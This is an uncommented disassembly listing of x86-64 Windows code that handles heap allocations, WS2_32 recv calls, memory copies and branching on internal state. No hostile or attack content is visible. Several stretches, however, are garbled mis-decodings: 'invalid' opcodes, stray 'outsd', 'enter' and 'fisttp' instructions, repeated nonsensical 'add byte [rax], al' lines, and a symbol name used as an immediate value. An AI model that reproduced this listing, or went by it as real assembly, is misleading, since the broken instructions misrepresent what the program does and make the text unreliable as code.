xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7ecf
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 8
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400d5315
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7efa
mov qword [0x140215360], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7efa
mov qword [rax], rsi
mov qword [rdi], rax
lea rax, [0x1401d2c10]
mov qword [rdi + 8], rax
mov rcx, qword [rbp + 0x730]
movzx edx, byte [rbp + 0x740]
mov r8, rdi
call fcn.140086bd0
mov rsi, r14
jmp 0x1400d53e0
call fcn.140087000
mov r14, rax
jmp 0x1400d5462
mov rax, qword [rbp + 0x8c0]
mov rdx, qword [rbp + 0x8c8]
test rax, rax
je 0x1400d82bc
lea rcx, [rbp + 0x900]
movdqu xmm0, xmmword [rcx - 0x30]
lea rcx, [rbp + 0x618]
movdqu xmmword [rcx - 8], xmm0
mov qword [rbp + 0x600], rax
mov qword [rbp + 0x608], rdx
mov rcx, qword [r12 + 0x70]
dec rcx
cmp rcx, 2
jae 0x1400d53c8
mov qword [r12 + 0x70], 4
mov byte [r12 + 0xca], 2
mov r8, qword [rbp + 0x610]
lea rcx, [rbp + 0x618]
call qword [rax + reloc.WS2_32.dll_recv]
nop dword [rax]
lea rcx, [rbp + 0x720]
call fcn.1400d84c0
mov r10, qword [rbp + 0xd38]
cmp byte [r12 + 0x1d8], 0
je 0x1400d4b07
jmp 0x1400d5cf9
mov ebx, r11d
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400d5433
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7ecf
mov qword [0x140215360], rax
mov r8d, 0x38
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7ecf
mov r14, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 0
mov byte [rax + 0x31], bl
mov qword [rbp + 0x420], r14
movzx ebx, byte [r12 + 0xca]
mov qword [r12 + 0x70], 4
mov byte [r12 + 0xca], 2
mov rax, qword [r12 + 0x158]
test rax, rax
je 0x1400d54ea
mov rcx, qword [rbp + 0xcb8]
mov rcx, qword [rcx]
xor edx, edx
jmp 0x1400d54a8
inc rdx
cmp rax, rdx
je 0x1400d54ca
movzx r8d, byte [rcx + rdx]
cmp r8d, 0xd
je 0x1400d54a0
cmp r8d, 0xa
je 0x1400d54a0
mov qword [rbp + 0x240], rdx
cmp rax, rdx
jae 0x1400d54cd
jmp 0x1400d82f0
mov rdx, rax
mov rcx, qword [rbp + 0xcb8]
call fcn.1400178e0
mov rax, qword [r12 + 0x158]
cmp byte [r14 + 0x30], 0
jne 0x1400d54f3
jmp 0x1400d5539
xor eax, eax
cmp byte [r14 + 0x30], 0
je 0x1400d5539
test rax, rax
jne 0x1400d5539
test bl, bl
jne 0x1400d5539
mov qword [r12 + 0x88], 5
mov byte [r12 + 0xca], 2
lea rcx, [rbp + 0x420]
call fcn.140085c60
mov edi, 4
mov rcx, qword [rbp + 0xd30]
lea rbx, [rbp + 0x8c0]
mov r10, qword [rbp + 0xd38]
jmp 0x1400d55b7
mov qword [rbp + 0x8c0], r14
mov rcx, qword [rbp + 0xd10]
cmp dword [rcx], 2
jne 0x1400d559d
cmp rax, 0x18
lea rbx, [rbp + 0x8c0]
mov r10, qword [rbp + 0xd38]
jb 0x1400d558f
mov rax, qword [rbp + 0xcb8]
mov rax, qword [rax]
movdqu xmm0, xmmword [rax]
pcmpeqb xmm0, xmm8
movq xmm1, qword [rax + 0x10]
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb eax, xmm1
cmp eax, 0xffff
je 0x1400d5a2e
mov edi, 3
mov rcx, qword [rbp + 0xd30]
jmp 0x1400d55b7
mov rcx, qword [rbp + 0xd30]
lea rbx, [rbp + 0x8c0]
mov r10, qword [rbp + 0xd38]
mov edi, 3
cmp rdi, 3
je 0x1400d5bb2
cmp rdi, 4
je 0x1400d5763
cmp rdi, 5
je 0x1400d5cf9
mov r13, r10
mov qword [rbp + 0x720], rdi
mov qword [rbp + 0x728], r14
mov rax, qword [rbp + 0x520]
lea rcx, [rbp + 0x730]
mov qword [rcx + 0x20], rax
movaps xmm0, xmmword [rbp + 0x500]
movdqa xmm1, xmmword [rbp + 0x510]
movdqu xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rax, qword [rbp + 0xc68]
mov qword [rbp + 0x758], rax
movaps xmm0, xmmword [rbp + 0x840]
movups xmmword [rcx + 0x30], xmm0
mov rax, qword [rbp + 0xca0]
mov qword [rbp + 0x770], rax
movzx eax, word [rbp + 0x1a0]
mov word [rcx + 0x58], ax
movdqa xmm0, xmmword [rbp + 0x190]
movdqu xmmword [rcx + 0x48], xmm0
movzx eax, byte [rbp + 0xcd0]
mov byte [rbp + 0x78a], al
movzx eax, byte [rbp + 0xcdc]
mov byte [rcx + 0x5f], al
mov eax, dword [rbp + 0xcd8]
mov dword [rcx + 0x5b], eax
test rdx, rdx
je 0x1400d5778
movzx r8d, byte [rbp + 0xd18]
and r8b, 1
mov rcx, rbx
call fcn.140084de0
mov rax, qword [rbp + 0x8e0]
mov qword [rbp + 0xae0], rax
movups xmm0, xmmword [rbp + 0x8c0]
movups xmm1, xmmword [rbp + 0x8d0]
movaps xmmword [rbp + 0xad0], xmm1
movaps xmmword [rbp + 0xac0], xmm0
lea rcx, [rbp + 0x900]
mov rax, qword [rcx + 8]
mov qword [rbp + 0x620], rax
movups xmm0, xmmword [rcx - 0x18]
movups xmm1, xmmword [rcx - 8]
movaps xmmword [rbp + 0x610], xmm1
movaps xmmword [rbp + 0x600], xmm0
mov r14, qword [rbp + 0x910]
cmp byte [r12 + 0x1c8], 3
je 0x1400d56fb
mov rcx, qword [rbp + 0xd20]
call fcn.1400d84c0
mov rax, qword [rbp + 0xae0]
mov rcx, qword [rbp + 0xd20]
mov qword [rcx + 0x20], rax
movaps xmm0, xmmword [rbp + 0xac0]
movaps xmm1, xmmword [rbp + 0xad0]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
movdqa xmm0, xmmword [rbp + 0x600]
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
lea edx, [rax]
invalid
add byte [rax], al
movdqa xmmword [rbp + 0x240], xmm0
movdqa xmmword [rbp + 0x250], xmm1
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x260], rax
movzx eax, byte [rbp + 0xd18]
mov r15, rsi
test al, 2
jne 0x1400d5795
jmp 0x1400d588f
mov rax, qword [rbp + 0xd10]
cmp dword [rax], 5
jne 0x1400d5960
jmp 0x1400d5be2
movdqa xmmword [rbp + 0x240], xmm6
xor r14d, r14d
movzx eax, byte [rbp + 0xd18]
mov r15, rsi
test al, 2
je 0x1400d588f
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400d57be
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d824c
mov qword [0x140215360], rax
mov r8d, WSAStartup
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d824c
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movdqu xmmword [rax + 0x30], xmm6
lock inc qword [rax]
jle 0x1400d82b8
cmp qword [r12], 0
je 0x1400d5862
mov rax, qword [rbp + 0xc60]
mov rsi, qword [rax]
test rsi, rsi
je 0x1400d5862
mov rax, qword [rsi + 0x30]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rcx, rax
test cl, 4
jne 0x1400d584d
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rsi + 0x30], rdx
jne 0x1400d5820
and ecx, 5
cmp ecx, 1
jne 0x1400d584d
mov rax, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rsi]
jne 0x1400d5862
mov rax, qword [rbp + 0xc60]
mov rcx, qword [rax]
call fcn.140087480
mov qword [r12], 1
mov qword [r12 + 8], rdi
mov edx, 1
lea rcx, [rbp + 0x780]
mov r8, rdi
call fcn.1400e05a0
test rax, 0xfffffffffffffffd
jne 0x1400d59b7
movups xmm0, xmmword [rbp + 0x780]
movaps xmmword [rbp + 0xb20], xmm0
movups xmm0, xmmword [rbp + 0x770]
movaps xmmword [rbp + 0xb10], xmm0
movups xmm0, xmmword [rbp + 0x760]
movaps xmmword [rbp + 0xb00], xmm0
movups xmm0, xmmword [rbp + 0x720]
movups xmm1, xmmword [rbp + 0x730]
movups xmm2, xmmword [rbp + 0x740]
movups xmm3, xmmword [rbp + 0x750]
movaps xmmword [rbp + 0xaf0], xmm3
movaps xmmword [rbp + 0xae0], xmm2
movaps xmmword [rbp + 0xad0], xmm1
movaps xmmword [rbp + 0xac0], xmm0
mov rax, qword [rbp + 0x260]
lea rcx, [rbp + 0xad8]
mov qword [rcx + 0x78], rax
movdqa xmm0, xmmword [rbp + 0x240]
movdqa xmm1, xmmword [rbp + 0x250]
movdqu xmmword [rcx + 0x68], xmm1
movdqu xmmword [rcx + 0x58], xmm0
mov r8d, 0x98
mov rcx, rbx
lea rdx, [rbp + 0xac0]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x958], r14
mov rsi, qword [rbp + 0xd30]
mov rcx, rsi
mov rdx, rbx
call fcn.1400d8620
mov rcx, rsi
test rax, rax
mov rsi, r15
mov r10, r13
jne 0x1400d725e
nop dword [rax]
cmp byte [r12 + 0x1d8], 0
je 0x1400d4b07
jmp 0x1400d5cf9
mov qword [rsi + 0x70], 3
mov rcx, rsi
mov byte [rbp + 0xcd0], r11b
call fcn.1400e5a70
mov rcx, rsi
mov rdx, qword [rbp + 0xce0]
call fcn.1400e5b50
movzx r11d, byte [rbp + 0xcd0]
mov r10, qword [rbp + 0xd38]
xor edx, edx
mov rsi, qword [rbp + 0xcf0]
add cl, ch
invalid
add dword [rax], eax
invalid
mov rdi, rdx
test rdx, rdx
je 0x1400d588f
mov rax, qword [rdi + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x1400d59d0
and eax, 0xa
cmp eax, 8
jne 0x1400d59f2
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rdi]
jne 0x1400d588f
mov rcx, rdi
call fcn.140087480
jmp 0x1400d588f
cmp rdx, 0xffffffffffffffff
mov rsi, qword [rbp + 0xcf0]
je 0x1400d5ac8
cmp rdx, 0xfffffffffffffffe
jne 0x1400d5acc
mov al, 1
xor r10d, r10d
jmp 0x1400d5ad1
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400d5a57
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7ecf
mov qword [0x140215360], rax
mov r8d, 0x38
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7ecf
mov r14, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x500
mov rcx, rbx
call fcn.140085c60
mov al, 2
jmp 0x1400d5aa2
xor eax, eax
mov rsi, rdx
mov rcx, qword [rbp + 0xd28]
mov qword [rcx + 0x70], 1
mov byte [rcx + 0x78], al
mov byte [rcx + 0x79], 0
mov qword [rcx + 0x80], rsi
or byte [rbp + 0xd18], 1
jmp 0x1400d5aee
mov al, 2
jmp 0x1400d5ad1
xor eax, eax
mov r10, rdx
mov rcx, qword [rbp + 0xd28]
mov qword [rcx + 0x70], 2
mov byte [rcx + 0x78], al
mov byte [rcx + 0x79], 0
mov qword [rcx + 0x80], r10
shl r12d, 0x10
or r14d, r12d
shl r14, 0x20
or r15, r14
shl r15, 8
movzx r14d, r11b
or r14, r15
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x520], rax
movaps xmm0, xmmword [rbp + 0x600]
movdqa xmm1, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x510], xmm1
movaps xmmword [rbp + 0x500], xmm0
movaps xmm0, xmmword [rbp + 0x860]
movaps xmmword [rbp + 0x840], xmm0
movdqa xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x190], xmm0
movzx eax, word [rbp + 0x350]
mov word [rbp + 0x1a0], ax
mov eax, dword [rbp + 0xcf8]
mov dword [rbp + 0xcd8], eax
movzx eax, byte [rbp + 0xcfc]
mov byte [rbp + 0xcdc], al
mov rax, qword [rbp + 0xcc0]
mov eax, dword [rbp + 0xcc0]
mov eax, dword [rbp + 0xcc0]
ror byte [rax + rax], 0
mov qword [rbp + 0xc68], rax
mov qword [rbp + 0xca0], r13
mov byte [rbp + 0xcd0], bl
mov r12, qword [rbp + 0xd28]
mov rcx, qword [rbp + 0xd30]
lea rbx, [rbp + 0x8c0]
cmp rdi, 3
jne 0x1400d55c1
mov qword [rbp + 0x8c8], r14
mov qword [rbp + 0x8c0], 3
mov rdx, rbx
mov rdi, r10
call fcn.1400d8620
mov r10, rdi
mov rcx, qword [rbp + 0xd30]
test rax, rax
jne 0x1400d725e
mov byte [r12 + 0x1d8], 1
mov qword [r12 + 0x70], 4
mov qword [r12 + 0x88], 5
mov byte [r12 + 0xca], 2
cmp byte [r12 + 0x1d8], 0
je 0x1400d4b07
jmp 0x1400d5cf9
cmp eax, 4
je 0x1400d5cf2
test rax, rax
mov r10, qword [rbp + 0xd38]
jne 0x1400d713a
mov rax, qword [rbp + 0xd10]
cmp qword [rax], 2
jne 0x1400d713a
cmp qword [r12 + 0x158], 0
je 0x1400d71c1
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400d5c7f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400d7ecf
mov qword [0x140215360], rax
mov r8d, 0x38
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400d7ecf
mov r14, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 3
jmp 0x1400d7216
cmp byte [r12 + 0x1c8], 3
je 0x1400d5cc7
mov rcx, qword [rbp + 0xd20]
call fcn.1400d84c0
mov rax, qword [rbp + 0x740]
mov rcx, qword [rbp + 0xd20]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rbp + 0x720]
movdqa xmm1, xmmword [rbp + 0x730]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov r10, qword [rbp + 0xd38]
mov qword [rbp + 0xd38], r10
cmp byte [r12 + 0x1d8], 0
je 0x1400d5d40
mov rdi, qword [rbp + 0xce0]
mov rcx, r12
mov rdx, rdi
call fcn.1400e7d50
mov rcx, rax
call fcn.1400e8730
test rax, rax
jne 0x1400d4aa0
mov r14, rdx
test rdx, rdx
je 0x1400d4aa0
jmp 0x1400d73f3
mov rdi, qword [rbp + 0xce0]
mov qword [rbp + 0xcf0], rsi
jmp 0x1400d5d6a
mov rcx, r13
call fcn.1400aca70
mov qword [r15], 0
cmp byte [r12 + 0x1d8], 0
jne 0x1400d5d12
mov rax, qword [r12 + 0x1d0]
cmp qword [rax], 0
je 0x1400d5df0
cmp byte [r12 + 0x170], 0
jne 0x1400d5ee0
cmp byte [r12 + 0x148], 0
je 0x1400d5e54
mov r8, qword [r12 + 0x138]
cmp r8, 0xf
ja 0x1400d6571
test r8, r8
je 0x1400d5e65
invalid
mov ah, 0
add byte [rax], al
test byte [rax + rax - 0x74b70000], dh
mov word [rax + rbp], fs
add dword [rax], eax
add byte [rcx - 0x75], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax + 0x39], cl
enter 0xba, 0
add byte [rax], al
mov rcx, qword [r12 + 0x128]
mov rax, qword [r12 + 0x130]
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
mov r9, rcx
sub r9, rax
mov rdx, r8
sub rdx, r9
ja 0x1400d5e6b
add r8, rax
mov rcx, r8
jmp 0x1400d5e69
cmp qword [r12 + 0x70], 4
je 0x1400d5d78
cmp qword [r12 + 0x88], 2
jne 0x1400d5d78
mov r8, qword [r12 + 0x138]
test r8, r8
je 0x1400d6196
mov rcx, qword [r12 + 0x128]
mov rax, qword [r12 + 0x130]
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
mov r9, rcx
sub r9, rax
mov rdx, r8
sub rdx, r9
ja 0x1400d619c
add r8, rax
mov rcx, r8
jmp 0x1400d619a
mov r8, qword [r12 + 0x138]
test r8, r8
jne 0x1400d5db1
xor eax, eax
xor ecx, ecx
xor edx, edx
mov rsi, qword [r12 + 0x110]
sub rsi, qword [r12 + 0x118]
mov r8, qword [r12 + 0x120]
lea rax, [rax + rax*4]
shl rax, 4
add rax, r8
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, r8
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, r8
mov qword [rbp + 0x8c0], rax
mov qword [rbp + 0x8c8], rcx
mov qword [rbp + 0x8d0], r8
mov qword [rbp + 0x8d8], rdx
mov rcx, rbx
call fcn.1400e7bf0
add rax, rsi
cmp rax, qword [r12 + 0x140]
mov rsi, qword [rbp + 0xcf0]
jae 0x1400d6571
mov rax, qword [r12 + 0x88]
mov r15, qword [r12 + 0x1d0]
cmp qword [r15], 0
je 0x1400d64c4
lea r13, [r15 + 8]
cmp rax, 3
ja 0x1400d5d50
cmp rax, 2
je 0x1400d5d50
mov rcx, rbx
mov rdx, r13
mov r8, rdi
call fcn.1400a41a0
cmp dword [rbp + 0x8c0], 2
je 0x1400d5d12
mov rax, qword [rbp + 0x8e0]
mov qword [rbp + 0x260], rax
movdqu xmm0, xmmword [rbp + 0x8c0]
movdqu xmm1, xmmword [rbp + 0x8d0]
or byte [rax], al
add byte [rsi + 0xf], ah
jg 0x1400d5edc
push rax
add al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x1400d5edc
add al, byte [rax]
add byte [rax - 0x75], cl
popfq
add al, byte [rax]
add byte [rax - 0x7b], cl
fisttp dword [rdi]
invalid
invalid
invalid
add byte [rax], al
mov rax, qword [rbp + 0x248]
mov rsi, qword [rbp + 0x250]
test rax, rax
je 0x1400d7333
lea rcx, [rbp + 0x258]
movdqu xmm0, xmmword [rcx]
lea rcx, [rbp + 0x430]
movdqu xmmword [rcx], xmm0
mov qword [rbp + 0x420], rax
mov qword [rbp + 0x428], rsi
cmp qword [r13], 0
je 0x1400d6010
cmp qword [r15 + 0x18], 0
je 0x1400d601f
mov rsi, qword [rbp + 0x430]
test rsi, rsi
jne 0x1400d6507
mov rax, qword [rbp + 0x420]
mov rdx, qword [rbp + 0x428]
lea rcx, [rbp + 0x438]
xor r8d, r8d
call qword [rax + reloc.WS2_32.dll_recv]
lea rbx, [rbp + 0x8c0]
mov rsi, qword [rbp + 0xcf0]
cmp byte [r12 + 0x1d8], 0
je 0x1400d5d6a
jmp 0x1400d5d12
mov rcx, qword [r15 + 0x10]
mov rax, qword [r15 + 0x18]
call qword [rax + 0x28]
test al, al
je 0x1400d5fb4
mov r9, qword [rbp + 0x430]
test r9, r9
je 0x1400d65b4
mov rsi, qword [rbp + 0x438]
mov rax, qword [rbp + 0xd10]
mov rax, qword [rax]
lea rcx, [rax - 2]
cmp rcx, 3
ja 0x1400d6054
cmp rcx, 1
jne 0x1400d8062
movups xmm0, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0x340], xmm0
test rax, rax
je 0x1400d678c
mov rax, qword [rbp + 0xc98]
mov r10, qword [rax]
xor eax, eax
cmp r9, r10
setne al
mov ecx, 0xff
cmovb eax, ecx
test al, al
je 0x1400d69a7
movzx eax, al
cmp eax, 1
jne 0x1400d69dd
movdqu xmm0, xmmword [rbp + 0x420]
movdqa xmmword [rbp + 0x600], xmm0
mov qword [rbp + 0x610], r9
mov qword [rbp + 0x618], rsi
mov qword [rbp + 0x620], r10
cmp byte [r12 + 0x148], 0
je 0x1400d6c72
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x8e0], rax
movaps xmm0, xmmword [rbp + 0x600]
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x8d0], rax
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x8d8], rax
movaps xmmword [rbp + 0x8c0], xmm0
mov rcx, qword [r12 + 0x128]
mov rax, qword [r12 + 0x138]
cmp rax, rcx
jne 0x1400d6136
mov rcx, qword [rbp + 0xd00]
call fcn.1400e8e50
mov rcx, qword [r12 + 0x128]
mov rax, qword [r12 + 0x138]
mov rdx, qword [r12 + 0x130]
add rdx, rax
cmp rdx, rcx
mov r8d, 0
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [r12 + 0x120]
lea rdx, [rdx + rdx*4]
shl rdx, 4
mov qword [rcx + rdx], 1
movdqa xmm0, xmmword [rbp + 0x8c0]
movdqa xmm1, xmmword [rbp + 0x8d0]
movdqu xmmword [rcx + rdx + 8], xmm0
movdqu xmmword [rcx + rdx + 0x18], xmm1
mov r8, qword [rbp + 0x8e0]
mov qword [rcx + rdx + 0x28], r8
jmp 0x1400d6997
xor eax, eax
xor ecx, ecx
xor edx, edx
mov r8, qword [rbp + 0xd00]
mov r8, qword [r8]
lea rax, [rax + rax*4]
shl rax, 4
add rax, r8
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, r8
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, r8
mov qword [rbp + 0x8c0], rax
mov qword [rbp + 0x8c8], rcx
mov qword [rbp + 0x8d0], r8
mov qword [rbp + 0x8d8], rdx
mov rcx, rbx
call fcn.1400e7bf0
test rax, rax
jne 0x1400d5d78
mov rax, qword [rbp + 0xd30]
cmp qword [rax], 2
jne 0x1400d5d78
mov r8, qword [rdi]
mov rcx, rbx
mov rdx, qword [rbp + 0xaa8]
call fcn.1400d8f80
mov rax, qword [rbp + 0x9c0]
cmp rax, 2
je 0x1400d726f
cmp eax, 3
je 0x1400d72c5
mov r8d, 0x100
lea rcx, [rbp + 0xac0]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x9c0]
mov rax, qword [rcx + 0x10]
mov qword [rbp + 0x350], rax
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rbp + 0x340], xmm0
mov rdx, rdi
call fcn.1400e0750
test al, al
je 0x1400d727a
lea rcx, [rbp + 0xad8]
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x558]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx], xmm0
mov rax, qword [rcx + 0x98]
mov qword [rbp + 0x550], rax
movups xmm0, xmmword [rcx + 0x88]
movaps xmmword [rbp + 0x540], xmm0
movups xmm0, xmmword [rcx + 0x48]
movups xmm1, xmmword [rcx + 0x58]
movups xmm2, xmmword [rcx + 0x68]
movups xmm3, xmmword [rcx + 0x78]
movaps xmmword [rbp + 0x530], xmm3
movaps xmmword [rbp + 0x520], xmm2
movaps xmmword [rbp + 0x510], xmm1
movaps xmmword [rbp + 0x500], xmm0
movzx ebx, byte [rbp + 0xb98]
mov rsi, qword [rbp + 0xac0]
mov rdi, qword [rbp + 0xac8]
movups xmm0, xmmword [rcx - 8]
movups xmm1, xmmword [rcx + 8]
movups xmm2, xmmword [rcx + 0x18]
movups xmm3, xmmword [rcx + 0x28]
movaps xmmword [rbp + 0x600], xmm0
movaps xmmword [rbp + 0x610], xmm1
movaps xmmword [rbp + 0x620], xmm2
movaps xmmword [rbp + 0x630], xmm3
movups xmm0, xmmword [rcx + 0x38]
movaps xmmword [rbp + 0x640], xmm0
mov r14, qword [rbp + 0xb90]
movaps xmm0, xmmword [rbp + 0x560]
lea rax, [rbp + 0x618]
movups xmmword [rax + 0x98], xmm0
movaps xmm0, xmmword [rbp + 0x550]
movups xmmword [rax + 0x88], xmm0
movaps xmm0, xmmword [rbp + 0x540]
movups xmmword [rax + 0x78], xmm0
movaps xmm0, xmmword [rbp + 0x500]
movaps xmm1, xmmword [rbp + 0x510]
movaps xmm2, xmmword [rbp + 0x520]
movaps xmm3, xmmword [rbp + 0x530]
movups xmmword [rax + 0x68], xmm3
movups xmmword [rax + 0x58], xmm2
movups xmmword [rax + 0x48], xmm1
movups xmmword [rax + 0x38], xmm0
mov r15, qword [rbp + 0xd30]
cmp dword [r15], 2
je 0x1400d63a1
mov rcx, r15
call fcn.1400b7da0
lea rcx, [rbp + 0x9c0]
mov rax, qword [rcx + 0x10]
mov qword [r15 + 0x10], rax
movups xmm0, xmmword [rcx]
movups xmmword [r15], xmm0
mov r8d, 0xc0
lea rcx, [rbp + 0x240]
lea rdx, [rbp + 0x600]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0xba0]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
lea rax, [rbp + 0x430]
movdqu xmmword [rax - 9], xmm0
movdqu xmmword [rax + 7], xmm1
cmp rsi, 3
je 0x1400d729e
cmp rsi, 4
je 0x1400d72c5
mov rax, qword [rbp + 0x43f]
mov qword [rbp + 0x8df], rax
movups xmm0, xmmword [rbp + 0x420]
movups xmm1, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0x8d0], xmm1
movaps xmmword [rbp + 0x8c0], xmm0
mov qword [rbp + 0x720], rsi
mov qword [rbp + 0x728], rdi
mov r8d, 0xc0
lea rcx, [rbp + 0x730]
lea rdx, [rbp + 0x240]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x7f0], r14
mov byte [rbp + 0x7f8], bl
lea rax, [rbp + 0x900]
movdqu xmm0, xmmword [rax - 0x39]
movdqu xmm1, xmmword [rax - 0x29]
movdqa xmmword [rbp + 0xad0], xmm1
movdqa xmmword [rbp + 0xac0], xmm0
cmp qword [rbp + 0xac0], 0
je 0x1400d6a18
mov rax, qword [rbp + 0xad0]
test rax, rax
movzx edi, byte [rbp + 0xd47]
lea rbx, [rbp + 0x8c0]
mov r14, qword [rbp + 0xab8]
je 0x1400d6a46
mov ecx, 1
mov rdx, rax
jmp 0x1400d6d33
cmp rax, 3
ja 0x1400d5d12
cmp rax, 2
je 0x1400d5d12
mov rcx, r12
call fcn.1400e8820
test rax, rax
je 0x1400d6599
jmp 0x1400d78c7
mov rcx, r12
call fcn.1400e8820
mov sil, 1
test rax, rax
je 0x1400d701f
jmp 0x1400d7b50
mov rdi, qword [rbp + 0x438]
mov rax, qword [rbp + 0xd10]
mov rax, qword [rax]
lea rcx, [rax - 2]
cmp rcx, 3
ja 0x1400d652c
cmp rcx, 1
jne 0x1400d7f9a
movups xmm0, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0x340], xmm0
test rax, rax
je 0x1400d65e9
mov rdx, qword [rbp + 0xc98]
mov rax, qword [rdx]
mov rcx, rax
sub rcx, rsi
jae 0x1400d66bb
mov qword [rdx], 0
mov ecx, 1
lea rdx, [rbp + 0x420]
jmp 0x1400d66c7
mov rcx, r12
mov rdx, rdi
call fcn.1400e7d50
mov rcx, rax
call fcn.1400e8730
test rax, rax
jne 0x1400d5d0b
mov r14, rdx
test rdx, rdx
jne 0x1400d73f3
cmp byte [r12 + 0x1d8], 0
mov rdi, qword [rbp + 0xce0]
je 0x1400d5d6a
jmp 0x1400d5d12
mov rcx, r12
call fcn.1400e8820
test rax, rax
jne 0x1400d7bdc
mov rax, qword [rbp + 0x420]
mov rdx, qword [rbp + 0x428]
mov r8, qword [rbp + 0x430]
lea rcx, [rbp + 0x438]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400d701c
mov qword [rbp + 0x890], rsi
movdqa xmmword [rbp + 0x600], xmm6
mov dword [rbp + 0x610], 0
lea rax, [rbp + 0x600]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x890]
mov qword [rbp + 0x500], rax
lea rax, [0x140061050]
mov qword [rbp + 0x508], rax
lea rax, [0x1401ab788]
mov qword [rbp + 0xac0], rax
mov qword [rbp + 0xac8], 2
mov qword [rbp + 0xae0], 0
lea rax, [rbp + 0x500]
mov qword [rbp + 0xad0], rax
mov qword [rbp + 0xad8], 1
lea rcx, [rbp + 0x190]
lea rdx, [0x1401aa790]
lea r8, [rbp + 0xac0]
call fcn.140059e20
test al, al
jne 0x1400d80bb
mov rax, qword [rbp + 0x600]
lea rdx, [rbp + 0x618]
mov rcx, qword [rdx - 0x10]
mov qword [rbp + 0x500], rcx
mov ecx, dword [rdx - 8]
mov dword [rbp + 0x508], ecx
mov ecx, 2
lea rdx, [rbp + 0x340]
jmp 0x1400d66c7
mov qword [rdx], rcx
lea rdx, [rbp + 0x420]
xor ecx, ecx
movdqu xmm0, xmmword [rdx]
movdqa xmmword [rbp + 0xac0], xmm0
lea r8, [rbp + 0x900]
movdqu xmmword [r8 - 0x38], xmm0
mov qword [rbp + 0x8d8], rsi
mov qword [rbp + 0x8e0], rdi
mov rdx, qword [rbp + 0x500]
mov qword [r8 - 0x10], rdx
mov edx, dword [rbp + 0x508]
mov dword [r8 - 8], edx
mov edx, dword [rbp + 0x50c]
mov dword [r8 - 4], edx
mov qword [rbp + 0x8c0], rcx
mov qword [rbp + 0x8e8], rax
